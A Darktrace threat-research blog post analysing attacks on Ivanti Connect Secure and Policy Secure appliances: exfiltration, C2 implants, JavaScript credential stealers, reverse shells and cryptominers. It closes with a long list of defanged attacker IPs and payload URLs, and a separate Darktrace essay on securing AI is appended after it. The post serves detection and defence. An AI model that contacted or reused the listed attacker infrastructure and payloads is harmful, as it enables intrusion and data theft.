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January 26, 2024

Post-Exploitation Activities of Ivanti CS/PS Appliances

Darktrace’s teams have observed a surge in malicious activities targeting Ivanti Connect Secure (CS) and Ivanti Policy Secure (PS) appliances. Learn more!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
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26
Jan 2024

Update:

Further investigation into the exploitation of Ivanti vulnerabilities CVE-2023-46805 and CVE-2024-21887 has uncovered an additional case within the Darktrace customer base, with the first signs of anomalous behavior on a device observed on December 21, 2023. The initial unusual activity involved SSL beaconing to a rare external IP address: 154.223.20[.]226. Open-source intelligence (OSINT) indicates that this IP was associated with the hostname api.d-n-s[.]name around January 2024 [10]. This hostname was also observed during Ivanti exploitation activities investigated by Mandiant [11]. A few days later, on December 28, 2023, the device began beaconing to a second rare IP address: 103.13.28[.]40, which has been directly linked to post-exploitation activity related to CVE-2023-46805 and CVE-2024-21887. Beaconing to these IPs continued until December 28 and December 29, respectively.

What are 'Unknown Unknowns'?

When critical vulnerabilities in Internet-facing assets are not yet publicly disclosed, they can provide unfettered access to organizations’ networks. Threat actors’ exploitation of these vulnerabilities are prime examples of “unknown unknowns” – behaviors which security teams are not even aware that they are not aware of.  

Therefore, it is not surprising that zero-day vulnerabilities in Internet-facing assets are so attractive to state-linked actors and cybercriminals. These criminals will abuse the access these vulnerabilities afford them to progress towards harmful or disruptive objectives. This trend in threat actor activity was particularly salient in January 2024, following the disclosure of two critical vulnerabilities in Ivanti Connect Secure (CS) and Ivanti Policy Secure (PS) appliances. The widespread exploitation of these vulnerabilities was mirrored across Darktrace’s customer base in mid-January 2024, with Darktrace’s Security Operations Center (SOC) and Threat Research teams observing a surge in malicious activities targeting customers’ CS/PS appliances.

Vulnerabilities in Ivanti CS/PS

On January 10, 2024, Ivanti published a Security Advisory [1] and a Knowledge Base article [2] relating to the following two vulnerabilities in Ivanti Connect Secure (CS) and Ivanti Policy Secure (PS):

  • CVE-2023-46805 (CVSS: 8.2; Type: Authentication bypass vulnerability)
  • CVE-2024-21887 (CVSS: 9.1; Type: Command injection vulnerability)

Conjoined exploitation of these vulnerabilities allows for unauthenticated, remote code execution (RCE) on vulnerable Ivanti systems. Volexity [3] and Mandiant [4] reported clusters of CS/PS compromises, tracked as UTA0178 and UNC5221 respectively. UTA0178 and UNC5221 compromises involve exploitation of CVE-2023-46805 and CVE-2024-21887 to deliver web shells and JavaScript credential harvesters to targeted CS/PS appliances. Both Volexity and Mandiant linked these compromises to a likely espionage-motivated, state-linked actor. GreyNoise [5] and Volexity [6] also reported likely cybercriminal activities targeting CS/PS appliances to deliver cryptominers.

The scale of this recent Ivanti CS/PS exploitation is illustrated by research findings recently shared by Censys [7]. According to these findings, as of January 22, around 1.5% of 26,000 Internet-exposed Ivanti CS appliances have been compromised, with the majority of compromised hosts falling within the United States. As cybercriminal interest in these Ivanti CS/PS vulnerabilities continues to grow, it is likely that so too will the number of attacks targeting them.

Observed Malicious Activities

Since January 15, 2024, Darktrace’s SOC and Threat Research team have observed a significant volume of malicious activities targeting customers’ Ivanti CS/PS appliances. Amongst the string of activities that were observed, the following threads were identified as salient:

  • Exploit validation activity
  • Exfiltration of system information
  • Delivery of C2 implant from AWS
  • Delivery of JavaScript credential stealer
  • SimpleHelp usage
  • Encrypted C2 on port 53
  • Delivery of cryptominer

Exploit Validation Activity

Malicious actors were observed using the out-of-band application security testing (OAST) services, Interactsh and Burp Collaborator, to validate exploits for CS/PS vulnerabilities. Malicious use of OAST services for exploit validation is common and has been seen in the early stages of previous campaigns targeting Ivanti systems [8]. In this case, the Interact[.]sh exploit tests were evidenced by CS/PS appliances making GET requests with a cURL User-Agent header to subdomains of 'oast[.]live', 'oast[.]site', 'oast[.]fun', 'oast[.]me', 'oast[.]online' and 'oast[.]pro'.  Burp Collaborator exploit tests were evidenced by CS/PS appliances making GET requests with a cURL User-Agent header to subdomains of ‘collab.urmcyber[.]xyz’ and ‘dnslog[.]store’.

Figure 1: Event Log showing a CS/PS appliance contacting an 'oast[.]pro' endpoint.
Figure 2: Event Log showing a CS/PS appliance contacting a 'collab.urmcyber[.]xyz' endpoint.
Figure 3: Packet capture (PCAP) of an Interactsh GET request.
Figure 4: PCAP of a Burp Collaborator GET request.

Exfiltration of System Information

The majority of compromised CS/PS appliances identified by Darktrace were seen using cURL to transfer hundreds of MBs of data to the external endpoint, 139.180.194[.]132. This activity appeared to be related to a threat actor attempting to exfiltrate system-related information from CS/PS appliances. These data transfers were carried out via HTTP on ports 443 and 80, with the Target URIs ‘/hello’ and ‘/helloq’ being seen in the relevant HTTP POST requests. The files sent over these data transfers were ‘.dat’ and ‘.sys’ files with what seems to be the public IP address of the targeted appliance appearing in each file’s name.

Figure 5: Event Log shows a CS/PS appliance making a POST request to 139.180.194[.]132 whilst simultaneously receiving connections from suspicious external endpoints.
Figure 6: PCAP of a POST request to 139.180.194[.]132.

Delivery of Command-and-Control (C2) implant from Amazon Web Services (AWS)

In many of the compromises observed by Darktrace, the malicious actor in question was observed delivering likely Rust-based ELF payloads to the CS/PS appliance from the AWS endpoints, archivevalley-media.s3.amazonaws[.]com, abode-dashboard-media.s3.ap-south-1.amazonaws[.]com, shapefiles.fews.net.s3.amazonaws[.]com, and blooming.s3.amazonaws[.]com. In one particular case, these downloads were immediately followed by the delivery of an 18 MB payload (likely a C2 implant) from the AWS endpoint, be-at-home.s3.ap-northeast-2.amazonaws[.]com, to the CS/PS appliance. Post-delivery, the implant seems to have initiated SSL beaconing connections to the external host, music.farstream[.]org. Around this time, Darktrace also observed the actor initiating port scanning and SMB enumeration activities from the CS/PS appliance, likely in preparation for moving laterally through the network.

Figure 7: Advanced Search logs showing a CS/PS appliance beaconing to music.farstream[.]org after downloading several payloads from AWS.

Delivery of JavaScript credential stealer

In a small number of observed cases, Darktrace observed malicious actors delivering what appeared to be a JavaScript credential harvester to targeted CS/PS appliances. The relevant JavaScript code contains instructions to send login credentials to likely compromised websites. In one case, the website, www.miltonhouse[.]nl, appeared in the code snippet, and in another, the website, cpanel.netbar[.]org, was observed. Following the delivery of this JavaScript code, HTTPS connections were observed to these websites.  This likely credential harvester appears to strongly resemble the credential stealer observed by Mandiant (dubbed ‘WARPWIRE’) in UNC5221 compromises and the credential stealer observed by Veloxity in UTA0178 compromises.

Figure 8: PCAP of ‘/3.js’ GET request for JavaScript credential harvester.
Figure 9: Snippet of response to '/3.js’ GET request.
Figure 10: PCAP of ‘/auth.js’ GET request for JavaScript credential harvester.
Figure 11: Snippet of response to '/auth.js’ GET request.
Figure 12: Advanced Search logs showing VPN-connected devices sending data to www.miltonhouse[.]nl after the Ivanti CS appliance received the JavaScript code.

The usage of this JavaScript credential harvester did not occur in isolation, but rather appears to have occurred as part of a chain of activity involving several further steps. The delivery of the ‘www.miltonhouse[.]nl’ JavaScript stealer seems to have occurred as a step in the following attack chain:  

1. Ivanti CS/PS appliance downloads a 8.38 MB ELF file over HTTP (with Target URI ‘/revsocks_linux_amd64’) from 188.116.20[.]38

2. Ivanti CS/PS appliance makes a long SSL connection (JA3 client fingerprint: 19e29534fd49dd27d09234e639c4057e) over port 8444 to 185.243.112[.]245, with several MBs of data being exchanged

3. Ivanti CS/PS appliance downloads a Perl script over HTTP (with Target URI ‘/login.txt’) from 188.116.20[.]38

4. Ivanti CS/PS appliance downloads a 1.53 ELF MB file over HTTP (with Target URI ‘/aparche2’) from 91.92.240[.]113

5. Ivanti CS/PS appliance downloads a 4.5 MB ELF file over HTTP (with Target URI ‘/agent’) from 91.92.240[.]113

6. Ivanti CS/PS appliance makes a long SSL connection (JA3 client fingerprint: 19e29534fd49dd27d09234e639c4057e) over port 11601 to 45.9.149[.]215, with several MBs of data being exchanged

7. Ivanti CS/PS appliance downloads Javascript credential harvester over HTTP (with Target URI ‘/auth.js’) from 91.92.240[.]113

8. Ivanti CS/PS appliance downloads a Perl script over HTTP (with Target URI ‘/login.cgi’) from 91.92.240[.]113

9. Ivanti CS/PS appliance makes a long SSL connection (JA3 client fingerprint: 19e29534fd49dd27d09234e639c4057e) over port 11601 to 91.92.240[.]71, with several MBs of data being exchanged

10. Ivanti CS/PS appliance makes a long SSL connection (JA3 client fingerprint: 19e29534fd49dd27d09234e639c4057e) over port 11601 to 45.9.149[.]215, with several MBs of data being exchanged

11. Ivanti CS/PS appliance makes a long SSL connection (JA3 client fingerprint: 19e29534fd49dd27d09234e639c4057e) over port 8080 to 91.92.240[.]113, with several MBs of data being exchanged

12. Ivanti CS/PS appliance makes a long SSL connection (JA3 client fingerprint: 19e29534fd49dd27d09234e639c4057e) over port 11601 to 45.9.149[.]112, with several MBs of data being exchanged  

These long SSL connections likely represent a malicious actor creating reverse shells from the targeted CS/PS appliance to their C2 infrastructure. Whilst it is not certain that these behaviors are part of the same attack chain, the similarities between them (such as the Target URIs, the JA3 client fingerprint and the use of port 11601) seem to suggest a link.  

Figure 13: Advanced Search logs showing a chain of malicious behaviours from a CS/PS appliance.
Figure 14: Advanced Search data showing the JA3 client fingerprint ‘19e29534fd49dd27d09234e639c4057e’ exclusively appearing in the aforementioned, long SSL connections from the targeted CS/PS appliance.
Figure 15: PCAP of ‘/login.txt’ GET request for a Perl script.
Figure 16: PCAP of ‘/login.cgi’ GET request for a Pearl script.

SimpleHelp Usage

After gaining a foothold on vulnerable CS/PS appliances, certain actors attempted to deepen their foothold within targeted networks. In several cases, actors were seen using valid account credentials to pivot over RDP from the vulnerable CS/PS appliance to other internal systems. Over these RDP connections, the actors appear to have installed the remote support tool, SimpleHelp, onto targeted internal systems, as evidenced by these systems’ subsequent HTTP requests. In one of the observed cases, a lateral movement target downloaded a 7.33 MB executable file over HTTP (Target URI: /ta.dat; User-Agent header: Microsoft BITS/7.8) from 45.9.149[.]215 just before showing signs of SimpleHelp usage. The apparent involvement of 45.9.149[.]215 in these SimpleHelp threads may indicate a connection between them and the credential harvesting thread outlined above.

Figure 17: Advanced Search logs showing an internal system making SimpleHelp-indicating HTTP requests immediately after receiving large volumes of data over RDP from an CS/PS appliance.
Figure 18: PCAP of a SimpleHelp-related GET request.

Encrypted C2 over port 53

In a handful of the recently observed CS/PS compromises, Darktrace identified malicious actors dropping a 16 MB payload which appears to use SSL-based C2 communication on port 53. C2 communication on port 53 is a commonly used attack method, with various malicious payloads, including Cobalt Strike DNS, being known to tunnel C2 communications via DNS requests on port 53. Encrypted C2 communication on port 53, however, is less common. In the cases observed by Darktrace, payloads were downloaded from 103.13.28[.]40 and subsequently reached back out to 103.13.28[.]40 over SSL on port 53.

Figure 19: PCAP of a ‘/linb64.png’ GET request.
Figure 20: Advanced Search logs showing a CS/PS appliance making SSL conns over port 53 to 103.13.28[.]40 immediately after downloading a 16 MB payload from 103.13.28[.]40.

Delivery of cryptominer

As is often the case, financially motivated actors also appeared to have sought to exploit the Ivanti appliances, with actors observed exploiting CS/PS appliances to deliver cryptomining malware. In one case, Darktrace observed an actor installing a Monero cryptominer onto a vulnerable CS/PS appliance, with the miner being downloaded via HTTP on port 8089 from 192.252.183[.]116.

Figure 21: PCAP of GET request for a Bash script which appeared to kill existing cryptominers.
Figure 22: PCAP of a GET request for a JSON config file – returned config file contains mining details such as ‘auto.3pool[.]org:19999’.
Figure 23: PCAP of a GET request for an ELF payload

Potential Pre-Ransomware Post-Compromise Activity

In one observed case, a compromise of a customer’s CS appliance was followed by an attacker using valid account credentials to connect to the customer’s CS VPN subnet. The attacker used these credentials to pivot to other parts of the customer’s network, with tools and services such as PsExec, Windows Management Instrumentation (WMI) service, and Service Control being abused to facilitate the lateral movement. Other Remote Monitoring and Management (RMM) tools, such as AnyDesk and ConnectWise Control (previously known as ScreenConnect), along with certain reconnaissance tools such as Netscan, Nmap, and PDQ, also appear to have been used. The attacker subsequently exfiltrated data (likely via Rclone) to the file storage service, put[.]io, potentially in preparation for a double extortion ransomware attack. However, at the time of writing, it was not clear what the relation was between this activity and the CS compromise which preceded it.

Darktrace Coverage

Darktrace has observed malicious actors carrying out a variety of post-exploitation activities on Internet-exposed CS/PS appliances, ranging from data exfiltration to the delivery of C2 implants and crypto-miners. These activities inevitably resulted in CS/PS appliances displaying patterns of network traffic greatly deviating from their typical “patterns of life”.

Darktrace DETECT™ identified these deviations and generated a variety of model breaches (i.e, alerts) highlighting the suspicious activity. Darktrace’s Cyber AI Analyst™ autonomously investigated the ongoing compromises and connected the individual model breaches, viewing them as related incidents rather than isolated events. When active and configured in autonomous response mode, Darktrace RESPOND™ containted attackers’ operations by autonomously blocking suspicious patterns of network traffic as soon as they were identified by Darktrace DETECT.

The exploit validation activities carried out by malicious actors resulted in CS/PS servers making HTTP connections with cURL User-Agent headers to endpoints associated with OAST services such as Interactsh and Burp Collaborator. Darktrace DETECT recognized that this HTTP activity was suspicious for affected devices, causing the following models to breach:

  • Compromise / Possible Tunnelling to Bin Services
  • Device / Suspicious Domain
  • Anomalous Server Activity / New User Agent from Internet Facing System
  • Device / New User Agent
Figure 24: Event Log showing a CS/PS appliance breaching models due to its Interactsh HTTP requests.
Figure 25: Cyber AI Analyst Incident Event highlighting a CS/PS appliance's Interactsh connections.

Malicious actors’ uploads of system information to 139.180.194[.]132 resulted in cURL POST requests being sent from the targeted CS/PS appliances. Darktrace DETECT judged these HTTP POST requests to be anomalous, resulting in combinations of the following model breaches:

  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Anomalous Server Activity / Outgoing from Server
  • Anomalous Server Activity / New User Agent from Internet Facing System
  • Unusual Activity / Unusual External Data Transfer
  • Unusual Activity / Unusual External Data to New Endpoint
  • Anomalous Connection / Data Sent to Rare Domain
Figure 26: Event Log showing the creation of a model breach due to a CS/PS appliance’s POST request to 139.180.194[.]132.
Figure 27: Cyber AI Analyst Incident Event highlighting POST requests from a CS/PS appliance to 139.180.194[.]132.

The installation of AWS-hosted C2 implants onto vulnerable CS/PS appliances resulted in beaconing connections which Darktrace DETECT recognized as anomalous, leading to the following model breaches:

  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / High Volume of Connections with Beacon Score

When enabled in autonomous response mode, Darktrace RESPOND was able to follow up these detections by blocking affected devices from connecting externally over port 80, 443, 445 or 8081, effectively shutting down the attacker’s beaconing activity.

Figure 28: Event Log showing the creation of a model breach and the triggering of an autonomous RESPOND action due to a CS/PS appliance's beaconing connections.

The use of encrypted C2 on port 53 by malicious actors resulted in CS/PS appliances making SSL connections over port 53. Darktrace DETECT judged this port to be uncommon for SSL traffic and consequently generated the following model breach:

  • Anomalous Connection / Application Protocol on Uncommon Port
Figure 29: Cyber AI Analyst Incident Event highlighting a ‘/linb64.png’ GET request from a CS/PS appliance to 103.13.28[.]40.
Figure 30: Event Log showing the creation of a model breach due to CS/PS appliance’s external SSL connection on port 53.
Figure 31: Cyber AI Analyst Incident Event highlighting a CS/PS appliance’s SSL connections over port 53 to 103.13.28[.]40.

Malicious actors’ attempts to run cryptominers on vulnerable CS/PS appliances resulted in downloads of Bash scripts and JSON files from external endpoints rarely visited by the CS/PS appliances themselves or by neighboring systems. Darktrace DETECT identified these deviations in device behavior and generated the following model breaches:

  • Anomalous File / Script from Rare External Location
  • Anomalous File / Internet Facing System File Download

Darktrace RESPOND, when configured to respond autonomously, was subsequently able to carry out a number of actions to contain the attacker’s activity. This included blocking all outgoing traffic on offending devices and enforcing a “pattern of life” on devices ensuring they had to adhere to expected network behavior.

Figure 32: Event Log showing the creation of model breaches and the triggering of autonomous RESPOND actions in response to a CS/PS appliance’s cryptominer download.
Figure 33: Cyber AI Analyst Incident Event highlighting a CS/PS appliance’s cryptominer download.

The use of RDP to move laterally and spread SimpleHelp to other systems resulted in CS/PS appliances using privileged credentials to initiate RDP sessions. These RDP sessions, and the subsequent traffic resulting from usage of SimpleHelp, were recognized by Darktrace DETECT as being highly out of character, prompting the following model breaches:

  • Anomalous Connection / Unusual Admin RDP Session
  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Compromise / Suspicious HTTP Beacons to Dotted Quad
  • Anomalous File / Anomalous Octet Stream (No User Agent)
  • Anomalous Server Activity / Rare External from Server
Figure 34: Event Log showing the creation of a model breach due to a CS/PS appliance’s usage of an admin credential to RDP to another internal system.
Figure 35: Event Log showing the creation of model breaches due to SimpleHelp-HTTP requests from a device targeted for lateral movement.
Figure 36: Cyber AI Analyst Incident Event highlighting the SimpleHelp-indicating HTTP requests made by an internal system.

Conclusion

The recent widespread exploitation of Ivanti CS/PS is a stark reminder of the threat posed by malicious actors armed with exploits for Internet-facing assets.

Based on the telemetry available to Darktrace, a wide range of malicious activities were carried out against CS/PS appliances, likely via exploitation of the recently disclosed CVE-2023-46805 and CVE-2024-21887 vulnerabilities.

These activities include the usage of OAST services for exploit validation, the exfiltration of system information to 139.180.194[.]132, the delivery of AWS-hosted C2 implants, the delivery of JavaScript credential stealers, the usage of SimpleHelp, the usage of SSL-based C2 on port 53, and the delivery of crypto-miners. These activities are far from exhaustive, and many more activities will undoubtedly be uncovered as the situation develops and our understanding grows.

While there were no patches available at the time of writing, Ivanti stated that they were expected to be released shortly, with the “first version targeted to be available to customers the week of 22 January 2023 and the final version targeted to be available the week of 19 February” [9].

Fortunately for vulnerable customers, in their absence of patches Darktrace DETECT was able to identify and alert for anomalous network activity that was carried out by malicious actors who had been able to successfully exploit the Ivanti CS and PS vulnerabilities. While the activity that followed these zero-day vulnerabilities may been able to have bypass traditional security tools reliant upon existing threat intelligence and indicators of compromise (IoCs), Darktrace’s anomaly-based approach allows it to identify such activity based on the subtle deviations in a devices behavior that typically emerge as threat actors begin to work towards their goals post-compromise.

In addition to Darktrace’s ability to identify this type of suspicious behavior, its autonomous response technology, Darktrace RESPOND is able to provide immediate follow-up with targeted mitigative actions to shut down malicious activity on affected customer environments as soon as it is detected.

Credit to: Nahisha Nobregas, SOC Analyst, Emma Foulger, Principle Cyber Analyst, and the Darktrace Threat Research Team

Appendices

List of IoCs Possible IoCs:

-       curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.3

-       curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.7

Mid-high confidence IoCs:

-       http://139.180.194[.]132:443/hello

-       http://139.180.194[.]132:443/helloq

-       http://blooming.s3.amazonaws[.]com/Ea7fbW98CyM5O (SHA256 hash: 816754f6eaf72d2e9c69fe09dcbe50576f7a052a1a450c2a19f01f57a6e13c17)

-       http://abode-dashboard-media.s3.ap-south-1.amazonaws[.]com/kaffMm40RNtkg (SHA256 hash: 47ff0ae9220a09bfad2a2fb1e2fa2c8ffe5e9cb0466646e2a940ac2e0cf55d04)

-       http://archivevalley-media.s3.amazonaws[.]com/bbU5Yn3yayTtV (SHA256 hash: c7ddd58dcb7d9e752157302d516de5492a70be30099c2f806cb15db49d466026)

-       http://shapefiles.fews.net.s3.amazonaws[.]com/g6cYGAxHt4JC1 (SHA256 hash: c26da19e17423ce4cb4c8c47ebc61d009e77fc1ac4e87ce548cf25b8e4f4dc28)

-       http://be-at-home.s3.ap-northeast-2.amazonaws[.]com/2ekjMjslSG9uI

-       music.farstream[.]org  • 104.21.86[.]153 / 172.67.221[.]78

-       http://197.243.22[.]27/3.js

-       http://91.92.240[.]113/auth.js

-       www.miltonhouse[.]nl • 88.240.53[.]22

-       cpanel.netbar[.]org • 146.19.212[.]12

-       http://188.116.20[.]38/revsocks_linux_amd64

-       185.243.112[.]245:8444

-        http://188.116.20[.]38/login.txt

-       http://91.92.240[.]113/aparche2 (SHA256 hash: 9d11c3cf10b20ff5b3e541147f9a965a4e66ed863803c54d93ba8a07c4aa7e50)

-       http://91.92.240[.]113/agent (SHA256 hash: 7967def86776f36ab6a663850120c5c70f397dd3834f11ba7a077205d37b117f)

-       45.9.149[.]215:11601

-       45.9.149[.]112:11601

-       http://91.92.240[.]113/login.cgi

-       91.92.240[.]71:11601

-       91.92.240[.]113:8080

-       http://45.9.149[.]215/ta.dat (SHA256 hash: 4bcf1333b3ad1252d067014c606fb3a5b6f675f85c59b69ca45669d45468e923)

-       91.92.241[.]18

-       94.156.64[.]252

-       http://144.172.76[.]76/lin86

-       144.172.122[.]14:443

-       http://185.243.115[.]58:37586/

-       http://103.13.28[.]40/linb64.png

-       103.13.28[.]40:53

-       159.89.82[.]235:8081

-       http://192.252.183[.]116:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh

-       http://192.252.183[.]116:8089/u/123/100123/202401/sshd

-       http://192.252.183[.]116:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json

-       http://103.27.110[.]83/module/client_amd64

-       http://103.27.110[.]83/js/bootstrap.min.js?UUID=...

-       http://103.27.110[.]83/js/jquery.min.js

-       http://95.179.238[.]3/bak

-       http://91.92.244[.]59:8080/mbPHenSdr6Cf79XDAcKEVA

-       31.220.30[.]244

-       http://172.245.60[.]61:8443/SMUkbpX-0qNtLGsuCIuffAOLk9ZEBCG7bIcB2JT6GA/

-       http://172.245.60[.]61/ivanti

-       http://89.23.107[.]155:8080/l-5CzlHWjkp23gZiVLzvUg

-       http://185.156.72[.]51:8080/h7JpYIZZ1-rrk98v3YEy6w

-       http://185.156.72[.]51:8080/8uSQsOTwFyEAsXVwbAJ2mA

-       http://185.156.72[.]51:8080/vuln

-       185.156.72[.]51:4440

-       185.156.72[.]51:8080

-       185.156.72[.]51:4433

-       185.156.72[.]51:4446

-       185.156.72[.]51:4445

-       http://185.156.72[.]51/set.py

-       185.156.72[.]51:7777

-       45.9.151[.]107:7070

-       185.195.59[.]74:7070

-       185.195.59[.]74:20958

-       185.195.59[.]74:34436

-       185.195.59[.]74:37464

-       185.195.59[.]74:41468    

References

[1] https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US

[2] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US

[3] https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/

[4] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day

[5] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers

[6] https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/

[7] https://censys.com/the-mass-exploitation-of-ivanti-connect-secure/

[8] https://darktrace.com/blog/entry-via-sentry-analyzing-the-exploitation-of-a-critical-vulnerability-in-ivanti-sentry

[9] https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US  

[10] https://www.virustotal.com/gui/ip-address/154.223.20.226/relations

[11] https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Sam Lister
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April 9, 2026

How to Secure AI and Find the Gaps in Your Security Operations

secuing AI testing gaps security operationsDefault blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
